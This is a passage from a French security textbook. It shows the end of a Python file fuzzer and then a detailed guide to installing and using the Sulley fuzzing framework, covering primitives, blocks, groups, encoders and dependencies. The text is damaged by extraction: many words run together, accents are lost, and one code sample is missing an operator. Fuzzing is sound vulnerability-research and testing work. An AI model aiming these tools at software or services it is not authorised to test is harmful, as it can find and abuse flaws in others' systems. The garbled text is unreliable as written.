%d\n\nOutput:\n\n %s" % (self.sender, self.iteration, self.crash)
session = smtplib.SMTP(smtpserver)
session.sendmail(sender, recipients, crash_message)
session.quit()
return
def mutate_file( self ):
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()
test_case =
self.test_cases[random.randint(0,len(self.test_cases)-1)]
stream_length = len(stream)
rand_offset
= random.randint(0, stream_length - 1 )
rand_len
= random.randint(1, 1000)
test_case = test_case * rand_len
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset:]
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()
return
def print_usage():
print "[*]"
print "[*] file_fuzzer.py -e <Executable Path> -x <File
Extension>"
print "[*]"

ENI Editions - All rights reserved - chantal gournier

- 3-

sys.exit(0)

if __name__ == "__main__":
print "[*] Generic File Fuzzer."
try:
opts, argo = getopt.getopt(sys.argv[1:],"e:x:n")
except getopt.GetoptError:
print_usage()
exe_path = None
ext
= None
notify
= False
for o,a in opts:
if o == "-e":
exe_path = a
elif o == "-x":
ext = a
elif o == "-n":
notify = True
if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify)
fuzzer.fuzz()
else:
print_usage()

Lapremiretapeconsistevrifierquaucuneitrationdufuzzernestdjenactiongrceself.running
quiestmispardfautfalse.Celuiciseramistruedsquuneitrationseraactive.
Lamutationdufichierpeutcommencergrce mutate_file().Cettedfinition vacrerlesargumentsque
nous allons pouvoir inclure aux commandes susceptibles dtre faillibles. Ces commandes gnres seront
inscrites dansunfichierfuzz_file.
Nous pouvons ensuite lancer le thread ( threading.Thread()) qui lancera donc le debugger
indpendamment du script. Pour finir, le monitoring sera lanc afin de pouvoir visualiser les actions dans le
thread.
Si vous avez bien compris le chapitre Dbogage sous Windows, ce script ne devrait pas vous poser trop de
problmes.
Pourtesterlefuzzer,nouspouvonsmaintenantcrerdeuxrpertoiresdanslemmerpertoirequenotrescript,
lunappelcrashesetlautreexamples.
Dans ce dernier, nous crons deux fichiers au format .txt contenant une liste de chanes de caractres par
exemple.
Nouspouvonsmaintenantlancernotrefuzzerenluidonnantcommeargumentlecheminversnotepad.exe.

python fuzzer_fichier.py -e C:\\WINDOWS\\system 32\\notepad.exe -x .txt

Cet exemple est juste un essai de fonctionnement. Si tout se passe bien, vous pourrez tenter le fuzzing sur
dautreslogiciels.
Rsultatdanslefichiertexte

- 4-

ENI Editions - All rights reserved - chantal gournier

ENI Editions - All rights reserved - chantal gournier

- 5-

Sulley
1.Introduction
Ilexistedenombreuxoutils,bibliothques,frameworkenPythonpoureffectuerdufuzzing.Danslecadredece
livre,nousallonstudierunframework,trscomplet,dunomdeSulley.

2.Installation
a.Installationnormale
Linstallationstandardncessitequelquesinstallationsdelogicielseffectuerdanslordrecidessous :
Installez WinPcaP avec une installation par dfaut. Tlchargez donc WinPcaP developers pack qui
est
ncessaire
pour
la
compilation
de
pcapy
(http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip).
Installez
MinGW
(http://sourceforge.net/projects/mingw/files/Automated%20MinGW%
20Installer/mingwgetinst/mingwgetinst20110530/mingwgetinst20110530
src.tar.gz/download). Ralisez linstallation par dfaut, except ltape de slection du type de
compilateur o vous cocherez C++ compiler. Aprs linstallation, indiquez le chemin vers le binaire
MinGWdanslavariablePATH(C:\MinGW\bin).
Installez Python (http://www.python.org/ftp/python/2.7.2/python2.7.2.msi). Aprs linstallation,
indiquezlecheminverslebinairedanslavariablePATH.
Installez pydasm, tlchargez libdasm (http://code.google.com/p/libdasm/downloads/list), extrayez
le,entrezdanslerpertoirepydasm,compilezetinstallezcommeindiqucidessous :

C:\Documents and Settings\fasm\Desktop\libdasm-1.5\pydasm>python


setup.py build_ext -c mingw32
running build_ext
building pydasm extension
---[snip]--C:\MinGW\bin\gcc.exe -mno-cygwin -shared -s build\temp.win322.7\Release\..\libdasm.o build\temp.win32-2.7\Release\pydasm.o
build\temp.win32-2.7\Release\..\pydasm.def -LC:\Python27\libs
-LC:\Python27\PCbuild -lpython27 -lmsvcr90 -o build\lib.win322.7\pydasm.pyd
C:\Documents and Settings\fasm\Desktop\libdasm-1.5\pydasm>python
setup.py install
running install
---[snip]--Writing C:\Python27\Lib\site-packages\pydasm-1.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\libdasm-1.5\pydasm>
Install PaiMei by issuing python setup.py install from whatever
directory you checked it out to. Post installation - delete or
rename C:\Python27\Lib\site-packages\pydbg\pydasm.pyd
Install pcapy by issuing the following commands (The compiler
needs to know about the location of WinPcaPs developers pack):
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py build_ext -c mingw32 -I "C:\Documents and
Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Include" -L
"C:\Documents and Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Lib"
running build_ext
building pcapy extension
---[snip]--C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py install
running install

ENI Editions - All rights reserved - chantal gournier

- 1-

---[snip]--Writing C:\Python27\Lib\site-packages\pcapy-0.10.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>
Installez impacket par la commande python
lavezdcompress.

setup.py install dans le rpertoire o vous

Tlchargez Sulley, dcompressez le rpertoire dans le dossier de votre choix, par exemple ici,
C:\sulley.Entrezdanscerpertoire.
Nousallonsmaintenantvrifierquelesnetworketprocessmonitorsfonctionnent :

C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH]
log directory to store pcaps to
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]

TCP port to bind this agent to

Network Device List:


[0] {0D3CCF45-BC70-4C0E-BE93-1FBF9BD7E019}

192.168.1.102

C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
[-P|--log_path PATH]
log directory to store pcaps to
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]

TCP port to bind this agent to

Network Device List:


[0] {0D3CCF45-BC70-4C0E-BE93-1FBF9BD7E019}

192.168.1.102

C:\sulley>

Sivoustesarrivjusquelsansencombre,vouspouvezviterdelirelasectionsuivante.

b.Installationnonstandard
Si linstallation dite normale ne sest pas droule parfaitement, vous avez d rcolter quelques erreurs,
reprenezlinstallationcommeindiquecidessous.
Vous devriez normalement avoir sur votre ordinateur Python 2.7. Si cela nest pas le cas, nous allons
commencerpartlchargerPython2.7(http://www.python.org/ftp/python/2.7.2/python2.7.2.msi)etlinstaller.
TestonsmaintenantsiPythonfonctionne :

C:\Documents and Settings\fasm>python


python is not recognized as an internal or external command,
operable program or batch file.
C:\Documents and Settings\fasm>

NousdevonsdoncajouterlechemindePythondanslavariablePATH.

- 2-

ENI Editions - All rights reserved - chantal gournier

Nous
allons
maintenant
installer
Sulley,
dans
sa
version
sulleystablerev157
(http://sulley.googlecode.com/files/sulleystablerev157.zip).NousallonsextrairelarchivedansC:\sulley.
Voyonssicedernierfonctionne :

C:\sulley>python process_monitor.py
Traceback (most recent call last):
File "process_monitor.py", line 14, in
from pydbg
import *
ImportError: No module named pydbg

Sulley a besoin de PyDbg. Thoriquement, si vous avez tudi le chapitre Dbogage sous Windows, celuici
devraittredjinstall.
Dans
le
cas
contraire,
tlchargez
Paimei
qui
le
contient,
entre
autres
(http://code.google.com/p/paimei/source/checkout). En effet, PyDbg nest plus fourni seul, mais dans un
paquetagenommPaimei.

C:\Documents and Settings\fasm\Desktop\paimei-read-only>python


setup.py install
running install
---[snip]--Writing C:\Python27\Lib\site-packages\PaiMei-1.2-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\paimei-read-only>

Nous allons essayer de nouveau de lancer process_monitor.py comme prcdemment pour tester le
fonctionnement.

C:\sulley>python process_monitor.py
Traceback (most recent call last):
File "process_monitor.py", line 14, in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\__init__.py", line 47,
in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\pydbg.py", line 32, in
import pydasm
ENI Editions - All rights reserved - chantal gournier

- 3-

ImportError: DLL load failed: The specified module could not be


found.
C:\sulley>

PyDbg a besoin de pydasm pour fonctionner. Nous allons donc tlcharger libdasm
(http://code.google.com/p/libdasm/downloads/list),lextraireetnousplacerdanslerpertoiredepydasm.Nous
allonsessayerdelecompiler:

C:\Documents and Settings\fasm\Desktop\libdasm-readonly\pydasm>python setup.py build_ext


running build_ext
building pydasm extension
error: Unable to find vcvarsall.bat
C:\Documents and Settings\fasm\Desktop\libdasm-read-only\pydasm>

Nousavonsdoncbesoinduncompilateur.
Nous allons utiliser MinGW. Un installeur est fourni pour MinGW :mingwgetinst20110530.exe
(http://sourceforge.net/projects/mingw/files/Automated%20MinGW%20Installer/mingwgetinst/mingwget
inst20110530/mingwgetinst20110530src.tar.gz/download).
NousallonseffectuerlinstallationpardfautdansC:\MinGW.Nousallonsessayerdecompiler :

C:\Documents and Settings\fasm\Desktop\libdasm-readonly\pydasm>python setup.py build_ext -c mingw32


running build_ext
building pydasm extension
gcc -mno-cygwin -mdll -O -Wall -IC:\Python27\include
-IC:\Python27\include -IC:\Python27\PC -c ../libdasm.c -o
build\temp.win32-2.7\Release\..\libdasm.o
error: command gcc failed: No such file or directory

DemmequavecPython,nousavonsbesoindindiquersonchemindanslePATH :C:\MinGW\bin.
Celaeffectu,fermezlesconsoles,ouvrezenunenouvelleetessayezdenouveau.

C:\Documents and Settings\fasm\Desktop\libdasm-readonly\pydasm>python setup.py build_ext -c mingw32


running build_ext
building pydasm extension
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall
-IC:\Python27\include -IC:\Python27\include -IC:\Python27\PC
-c ../libdasm.c -o build\temp.win32-2.7\Release\..\libdasm.o
---[snip]--C:\MinGW\bin\gcc.exe -mno-cygwin -shared -s build\temp.win322.7\Release\..\libdasm.o build\temp.win32-2.7\Release\pydasm.o
build\temp.win32-2.7\Release\..\pydasm.def -LC:\Python27\libs
-LC:\Python27\PCbuild -lpython27 -lmsvcr90 -o build\lib.win322.7\pydasm.pyd
C:\Documents and Settings\fasm\Desktop\libdasm-read-only\pydasm>

Lacompilationabienrussi.Nouspouvonsmaintenantinstallerpydasm.

C:\Documents and Settings\fasm\Desktop\libdasm-read-

- 4-

ENI Editions - All rights reserved - chantal gournier

only\pydasm>python setup.py install


running install
running build
running build_ext
running install_lib
copying build\lib.win32-2.7\pydasm.pyd -> C:\Python27\Lib\sitepackages
running install_egg_info
Writing C:\Python27\Lib\site-packages\pydasm-1.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\libdasm-read-only\pydasm>

Nousallonsdoncencoreessayerdelancerprocess_monitor.py :

C:\Documents and Settings\fasm\Desktop\libdasm-read-only\pydasm>cd


c:\sulley
C:\sulley>python process_monitor.py
Traceback (most recent call last):
File "process_monitor.py", line 14, in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\__init__.py", line 47,
in
from pydbg
import *
File "C:\Python27\lib\site-packages\pydbg\pydbg.py", line 32, in
import pydasm
ImportError: DLL load failed: The specified module could not be found.

Cela ne fonctionne pas, alors que nous venons juste dinstaller pydasm. Essayons de limporter dans
linterprteurPython.

C:\sulley>python
Python 2.7.2 (default, Jun 12 2011, 15:08:59) [MSC v.1500 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more
information.
>>> import pydasm
>>>

Dans linterprteur, cela fonctionne. Nous allons regarder dans le rpertoire C:\Python27\lib\site
packages\pydbg\ si nous voyons pydasm.pyd qui est inclus dans PyDbg. Nous allons le supprimer ou le
renommer,enconsquencePythonutiliseraletoutnouveaupydasm.pydquenousvenonsdinstaller.
Nousallonsmaintenantretenteruntest :

C:\sulley>python process_monitor.py
ERR> USAGE: process_monitor.py
<-c|--crash_bin FILENAME> filename to serialize crash bin
class to
[-p|--proc_name NAME]
process name to search for and
attach to
[-i|--ignore_pid PID]
ignore this PID when searching for
the target process
[-l|--log_level LEVEL]
log level (default 1), increase for
more verbosity
[--port PORT]

TCP port to bind this agent to

C:\sulley>

ENI Editions - All rights reserved - chantal gournier

- 5-

Maintenantquenousnavonsplusdemessagederreurmaislaidedutilisation,nousallonsessayerdelancer
network_monitor.pyquisetrouveaussidanslerpertoiredeSulley:

C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 11, in
import pcapy
ImportError: No module named pcapy
C:\sulley>

Nous allons devoir maintenant installer pcapy (pcapy0.10.5 : http://oss.coresecurity.com/repo/pcapy


0.10.5.zip).

C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py install


running install
running build
running build_ext
building pcapy extension
error: Unable to find vcvarsall.bat
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py build_ext -c mingw32
running build_ext
building pcapy extension
creating build
creating build\temp.win32-2.7
creating build\temp.win32-2.7\Release
creating build\temp.win32-2.7\Release\win32
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -DWIN32=1
-Ic:\devel\wpdpack\Include -IC:\Python27\include -IC:\Python27\PC
-c pcapdumper.cc -o build\temp.win32-2.7\Release\pcapdumper.o
gcc: CreateProcess: No such file or directory
error: command gcc failed with exit status 1
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>

Nous avons tout lheure install MinGW par dfaut, il nous manque le compilateur C++. Nous devons donc
installerdenouveauMinGW,maiscettefoisavecloptionC++.Essayonsdenouveau :

C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py build_ext -c mingw32


running build_ext
building pcapy extension
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -DWIN32=1
-Ic:\devel\wpdpack\Include -IC:\Python27\include -IC:\Python27\PC
-c pcapdumper.cc -o build\temp.win32-2.7\Release\pcapdumper.o
pcapdumper.cc:12:18: fatal error: pcap.h: No such file or
directory
compilation terminated.
error: command gcc failed with exit status 1
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>

Pcap.h est contenu dans le pack dveloppeur de WinPcaP. Nous devons donc rcuprer ce pack
(http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip). Essayons de le compiler de nouveau en utilisant
loption -lpourindiquerlechemindepcap.h.

- 6-

ENI Editions - All rights reserved - chantal gournier

C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py build_ext -c mingw32 -I "C:\Documents and


Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Include"
running build_ext
building pcapy extension
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -DWIN32=1
-Ic:\devel\wpdpack\Include "-IC:\Documents and
Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Include"
-IC:\Python27\include -IC:\Python27\PC -c pcapdumper.cc -o
build\temp.win32-2.7\Release\pcapdumper.o
---[snip]--C:\MinGW\bin\g++.exe -mno-cygwin -shared -s build\temp.win322.7\Release\pcapdumper.o build\temp.win32-2.7\Release\bpfobj.o
build\temp.win32-2.7\Release\pcapy.o build\temp.win322.7\Release\pcapobj.o build\temp.win32-2.7\Release\pcap_pkthdr.o
build\temp.win32-2.7\Release\win32\dllmain.o build\temp.win322.7\Release\pcapy.def -Lc:\devel\wpdpack\Lib -LC:\Python27\libs
-LC:\Python27\PCbuild -lwpcap -lpacket -lws2_32 -lpython27
-lmsvcr90 -o build\lib.win32-2.7\pcapy.pyd
c:/mingw/bin/../lib/gcc/mingw32/4.5.2/../../../../mingw32/bin/ld.exe:
cannot find -lwpcap
c:/mingw/bin/../lib/gcc/mingw32/4.5.2/../../../../mingw32/bin/ld.ex e:
cannot find -lpacket
collect2: ld returned 1 exit status
error: command g++ failed with exit status 1
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>

Ilsembleraitquelaliaisonauxlibrairiesexterneswpcapetpacketaitchou.Ellessontinclusesdanslepack
dveloppeur de WinPcaP que nous venons de tlcharger. Essayons de nouveau avec loption -L vers la
bonnelocalisation :

C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py build_ext -c mingw32 -I "C:\Documents and


Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Include" -L
"C:\Documents and Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Lib"
running build_ext
building pcapy extension
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -DWIN32=1
-Ic:\devel\wpdpack\Include "-IC:\Documents and
Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Include"
-IC:\Python27\include -IC:\Python27\PC -c pcapdumper.cc -o
build\temp.win32-2.7\Release\pcapdumper.o
---[snip]--C:\MinGW\bin\g++.exe -mno-cygwin -shared -s build\temp.win322.7\Release\pcapdumper.o build\temp.win32-2.7\Release\bpfobj.o
build\temp.win32-2.7\Release\pcapy.o build\temp.win322.7\Release\pcapobj.o build\temp.win32-2.7\Release\pcap_pkthdr.o
build\temp.win32-2.7\Release\win32\dllmain.o build\temp.win322.7\Release\pcapy.def -Lc:\devel\wpdpack\Lib "-LC:\Documents and
Settings\fasm\Desktop\WpdPack_4_1_2\WpdPack\Lib"
-LC:\Python27\libs -LC:\Python27\PCbuild -lwpcap -lpacket -lws2_32
-lpython27 -lmsvcr90 -o build\lib.win32-2.7\pcapy.pyd
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>

Celasemblebeaucoupmieux,nouspouvonstenterdenouveaulinstallation.

C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy0.10.5>python setup.py install


running install
running build
running build_ext

ENI Editions - All rights reserved - chantal gournier

- 7-

running install_lib
copying build\lib.win32-2.7\pcapy.pyd -> C:\Python27\Lib\sitepackages
running install_data
creating C:\Python27\share
creating C:\Python27\share\doc
creating C:\Python27\share\doc\pcapy
copying README -> C:\Python27\share\doc\pcapy
copying LICENSE -> C:\Python27\share\doc\pcapy
copying pcapy.html -> C:\Python27\share\doc\pcapy
running install_egg_info
Writing C:\Python27\Lib\site-packages\pcapy-0.10.5-py2.7.egg-info
C:\Documents and Settings\fasm\Desktop\pcapy-0.10.5\pcapy-0.10.5>
[\sourcecode]</pre>
Another shot at running the network monitor:
[sourcecode language="text" gutter="false"
highlight="1,2,3,4,5,6,7,8,9,10,11,12,13,14"]
C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 11, in <module>
import pcapy
ImportError: DLL load failed: The specified module could not be
found.
C:\sulley>

Le chargement de la DLL a chou. Nous devons installer WinPcaP. Nous utiliserons la version 4.1.2 de
linstalleurpourWindows(http://www.winpcap.org/install/bin/WinPcap_4_1_2.exe).
Nousallonsencoreunefoistenterdelancernetwork_monitor.py:

C:\sulley>python network_monitor.py
Traceback (most recent call last):
File "network_monitor.py", line 12, in <module>
import impacket
ImportError: No module named impacket
C:\sulley>

Nous navons pas de module du nom dimpacket. Nous allons donc le tlcharger et linstaller
(http://oss.coresecurity.com/repo/Impacket0.9.6.0.zip) :

C:\Documents and Settings\fasm\Desktop\Impacket-0.9.6.0>python


setup.py install
running install
running build
running build_py
---[snip]--running install_egg_info
Writing C:\Python27\Lib\site-packages\Impacket-0.9.6.0-py2.7.egginfo
C:\Documents and Settings\fasm\Desktop\Impacket-0.9.6.0>

Nousdevrionstreauboutdenospeines :

C:\sulley>python network_monitor.py
ERR> USAGE: network_monitor.py
<-d|--device DEVICE #>
device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string
- 8-

ENI Editions - All rights reserved - chantal gournier

[-P|--log_path PATH]
[-l|--log_level LEVEL]
more verbosity
[--port PORT]

log directory to store pcaps to


log level (default 1), increase for

TCP port to bind this agent to

Network Device List:


[0] {0D3CCF45-BC70-4C0E-BE93-1FBF9BD7E019}

192.168.1.102

C:\sulley>

Noussommesenfinarrivstoutinstaller,lutilisationdeSulleypeutcommencer.

3.Utilisation
LutilisationdeSulleypeutsedcomposerentroisphases :
Reprsentationdedonnes :premiretapedanslutilisationdunfuzzer.

Session :liernosrequtespourformerunesession,attacherlesdiffrentsmonitoringetcommencerle
fuzzing.

PostMortem :tudierlesdonnesgnresetlesrsultatsdumonitoring.Rejouerlestestsindividuels.

a.StructuredurpertoiredeSulley

archived_fuzzies :cestdanscerpertoirequenousretrouveronslesfuzzingeffectusrangsparnom
desciblesetlesdonnesgnresparlessessions.
audits : enregistrement des PCAP, des crash de binaires, etc. de la session en cours. Une fois la

ENI Editions - All rights reserved - chantal gournier

- 9-

sessiontermine,lecontenudevratretransfrverslerpertoirearchived_fuzzies.

docs :documentation.
requests :librairiedesrequtesdeSulley.Chaqueciblepourraavoirsonproprefichierquipourratre
utilispourstockerdiversesrequtes.
sulley :leframework.

legos :primitivescomplexes

ber.py :ASN.1/BER

dcerpc.py :MicrosoftRPCNDR

misc.py :diversesprimitivesnonclassablescommelesadressesemail,lesnomsdhtes...

xdr.py :XDR

pgraph :librairiepourlesgraph

utils :routinesdaide

dcerpc.py :MicrosoftRPC

misc.py :routinesnonclassablestellesqueCRC16etmanipulationdUUID.

Scada.py :routinesdaidepourencodeurDNP3

init.py :diversesalias(_s)utilisspourcrerdesrequtessontdfinisici.

blocks.py :lesblockssontdfinisici.

pedrpc.py :lesfichiersdfinissantlesclassesdesclientsetserveursquipeuventtreutilissdans
lescommunicationsentrelesdiversagentsetlefuzzerprincipal.

primitives.py :touteslesprimitives,incluantstatic,random,stringsetintegers.

sessions.py :fonctionspourconstruireetexcuterdessessions.

sex.py :exceptions.

units_tests :testsunitaires.

utils :utilitaires.

ida_fuzz_library_extend.py

crash_bin_explorer.py

pcap_cleaner.py

network_monitor.py :agentPedRPC,monitoringderseau.

process_monitor.py :agentPedRPCdemonitoringdelacibleetdedebogage.

unit_test.py :testsunitaires.

vmcontrol.py :agentPedRPCdecontrledeVMware.

b.Reprsentationdedonnes
Sulleyutiliseuneapprocheparblockspourgnrerdesrequtesindividuelles.Ellesserontrassemblesplus
tarddansdessessions.
Pourcommencer,nousdevonsinitialisernotrerequteavecunnom.
- 10 -

ENI Editions - All rights reserved - chantal gournier

s_initialize("requete1")

Nouspouvonsmaintenantcommencerajouterdesprimitives,desblocks,desblocksimbriqus.
Les primitives peuvent retourner leur contenu en donnes brutes (rendered) ou transformer leur contenu
interne(mutated).
Les primitives mutables acceptent une valeur par dfaut qui sera restaure quand les valeurs pouvant tre
fuzzessontpuises.

c.Primitivesstatiquesetalatoires
Laprimitives_static()comporteplusieursalias : s_dunno(),s_raw()ets_unknown().
Cetteprimitiveajouteunevariableimmuabledelongueurarbitrairelarequte.
Lesexemplescidessoussontidentiques :

s_static("fasm\x00est\x01ici\x02")

s_raw("fasm\x00est\x01ici\x02")

s_dunno("fasm\x00est\x01ici\x02")

s_unknown("fasm\x00est\x01ici\x02")

s _binary()estuneprimitivequiacceptedesdonnesbinairesreprsentessousdiversformats.

s_binary(" 0xde 0xad be ef \xca fe 00 01 02 0xba0xdd f0 0d",


name= "complexe")

s_random(),

contrairement aux autres primitives vues cidessus, peut tre utilise pour gnrer des
donnesalatoiresetdelongueursvaries.
Cette primitive prend deux arguments, min_length et max_length spcifiant les bornes des donnes
alatoiresgnrer.
Cetteprimitiveaccepteaussidesargumentsoptionnels :

num_mutations(entier,dfaut=25):nombredemutationseffectueravantdereveniraunombre
pardfaut.

fuzzable (boolen,dfaut=True):valideouinvalidelefuzzingdecetteprimitive.

name(chanedecaractres,dfaut=None):nouspouvonsdfinirunnompourunaccsdirectlorsde
larequte.

d.Lesentiers
IlexisteplusieurstaillesdentierssousSulley :

1octet :s_byte(),s_char()

2octets :s_word(),s_short()

4octets :s_dword(),s_long(),s_int()
ENI Editions - All rights reserved - chantal gournier

- 11 -

8octets :s_qword(),s_double()

Cestypesdentiersacceptentchacunauminimumunseulargument,lavaleurpardfaut.
Desargumentsoptionnelspeuventtrespcifis :

endian(caractre,dfaut=<):<estlelittleendianet>lebigendian.

format (chanedecaractres,dfaut=binary):formatdesortie,binaryouascii.

signed (boolen,dfaut=False):applicablepourleformatascii.

full_range (boolen,dfaut=False):sicetargumentestTrue,lamutationpourraprendretoutes
lesvaleurspossibles.

fuzzable (boolen,dfaut=True):valideroudvaliderlefuzzing.

name (chanedecaractres,dfaut=None):nompourunaccsdirectpendantlarequte.

e.Chanesdecaractresetdlimiteurs
Laprimitives_string()demandeunargumentobligatoirespcifiantunevaleurpardfautvalide.
Elleaccepteaussidesargumentsoptionnels:

size (entier, dfaut= 1) : laisser par dfaut pour une longueur dynamique, sinon ce sera une
longueurfixe.

padding (caractre, dfaut= \x00): si une taille spcifique est dfinie et si la chane de caractres
gnre est plus petite que la taille, cette valeur est utilise pour remplir le champ jusqu la taille
dfinie.

encoding(chanedecaractres,dfaut=ascii):encodageutilispourleschanesdecaractres.

fuzzable(boolen,dfaut=True):valideouinvalidelefuzzing.

name(chanedecaractres,dfaut=None):idemquepourlesprimitivesprcdentes.

Nousretrouveronssouventdansdeschanesdecaractresplusieursdlimiteurs.Parexemple,sinousprenons
larequteHTTPsuivante: GET/index.htmlHTTP/10 ,nousretrouvonslespacecommedlimiteurmaisaussi
le . etle / .
Il faudra donc bien sassurer lors de la dclaration de cette requte dutiliser
dlimiteur.
Exemplededclaration

#Nous voulons fuzzer la chaine de caractres <BODY bgcolor="black">


s_delim("<")
s_string("BODY")
s_delim(" ")
s_string("bgcolor")
s_delim("=")
s_delim("\"")
s_string("black")
s_delim("\")
s_delim(">")

f.LesextensionsFuzzLibrary

- 12 -

ENI Editions - All rights reserved - chantal gournier

s_delim() pour chaque

Lesprimitivescontiennentunelibrairieinterne fuzzlibrary avecunelistedevaleursintressantes,voicici


dessouscequenoustrouvonsdansprimitives.py :

Si nous dsirons ajouter des chanes de caractres ou des entiers, nous pouvons le faire aisment, il nous
suffitsimplementdecrerunfichier.fuzz_stringsou.fuzz_intsdanslerpertoiredanslequelnouslancerons
notrefuzzer.Sulleyajouteralesvaleursprisesdanscesfichierslalibrairie.

g.Blocks
Maintenantquenousavonsdfinilesprimitives,nousallonsvoircommentlesorganiseretimbriquerdansdes
blocks.
Lesblockssontdfinisetouvertsavecs_block_start()etfermsavecs_block-end().
Chaqueblockdoitavoirunnomquiseralepremierargumentdes_block_start().
Lesargumentsoptionnelspeuventtre :

group(chanedecaractres,dfaut=None):nomdugroupeassocieravecceblock.
ENI Editions - All rights reserved - chantal gournier

- 13 -

encoder(pointeurdefonction,dfaut=None):pointeurversunefonctionquiretourneraunedonne.

dep(chanedecaractres,dfaut=None):spcifieunevaleurdontleblockestdpendant.

dep_value(mixte,dfaut=None):valeurquelechampdepdoitcontenirpourlarestitutiondublock.

dep_values (listes de types mixte, dfaut= [ ]) : valeurs que le champ dep doit contenir pour la
restitutiondublock.

dep_compare

(chane de caractres, dfaut= ==) : mthode de comparaison appliquer aux


dpendances.Lesoptionspeuventtre==,!=,>,>=,<et<=.

Quandunblockestferm,ilnepeuttremisjour.

h.Groupes
Laprimitive s_group()dfinitungroupeetacceptedeuxargumentsobligatoires.Lepremierestlenomdu
groupe,ledeuximeunelistedevaleursbrutes.
Prenonslexemplecidessous:

# import de toutes les fonctions


from sulley import *
# cette requete est pour fuzzer: {GET,HEAD,POST,TRACE} /index.html
HTTP/1.1
# definition du block "HTTP BASIC".
s_initialize("HTTP BASIC")
# definition du groupe de primitives listant les diffrentes
# variables HTTP que nous voulons fuzzer.
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# definit un nouveau block appele "body" et lassocie avec le
# groupe ci-dessus.
if s_block_start("body", group="verbs"):
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
# fin des requetes avec la sequence statique obligatoire.
s_static("\r\n\r\n")
# ferme le block.
s_block_end("body")

Cet exemple est assez explicite : un block a t dfini et initialis grce s_initialize(), ensuite un
groupe est dfini avec les variables fuzzer, ensuite un nouveau block est dfini avec le groupe dfini juste
avant.
Quand une session sera charge avec ces requtes, le fuzzer gnrera et transmettra toutes les valeurs
possiblesaublock body etcepourchaquevariable(verbs)dfiniedanslegroupe.

i.Encodeur
Nouspouvonsdfiniruneroutinedencodagequenouspourronsensuiteintgrerunblockensuite.

def prog_xor (buf, poly=0xAA):


l = len(buf)
- 14 -

ENI Editions - All rights reserved - chantal gournier

new_buf = ""
for char in buf:
new_buf += chr(ord(char) poly)
return new_buf
..
if s_block_start("data", encoder=prog_xor):
..

Danslexemplecidessus,unedfinitionprog_xorestcreetplusloindanslescript,aulancementdublock,
lencodeurdfiniplushautestutilis.

j.Dpendances
Les dpendances nous autorisent appliquer une condition pour la restitution du block entier. Il nous faut
dabord lier un block une primitive dont il dpend (utilisation du paramtre dep), il vrifiera la valeur de la
primitivelieetsecomporteraenconsquence.

s_short("opcode", full_range=True)
# opcode 10 a besoin dune sequence dauthentification.
if s_block_start("auth", dep="opcode", dep_value=10):
s_string("USER")
s_delim(" ")
s_string("pedram")
s_static("\r\n")
s_string("PASS")
s_delim(" ")
s_delim("fuzzywuzzy")
s_block_end()
# opcodes 15 et 16 ont besoin dun hostname.
if s_block_start("hostname", dep="opcode", dep_values=[15, 16]):
s_string("eni.fr")
s_block_end()
# le reste a besoin dune chaine de caracteres avec deux
# underscores.
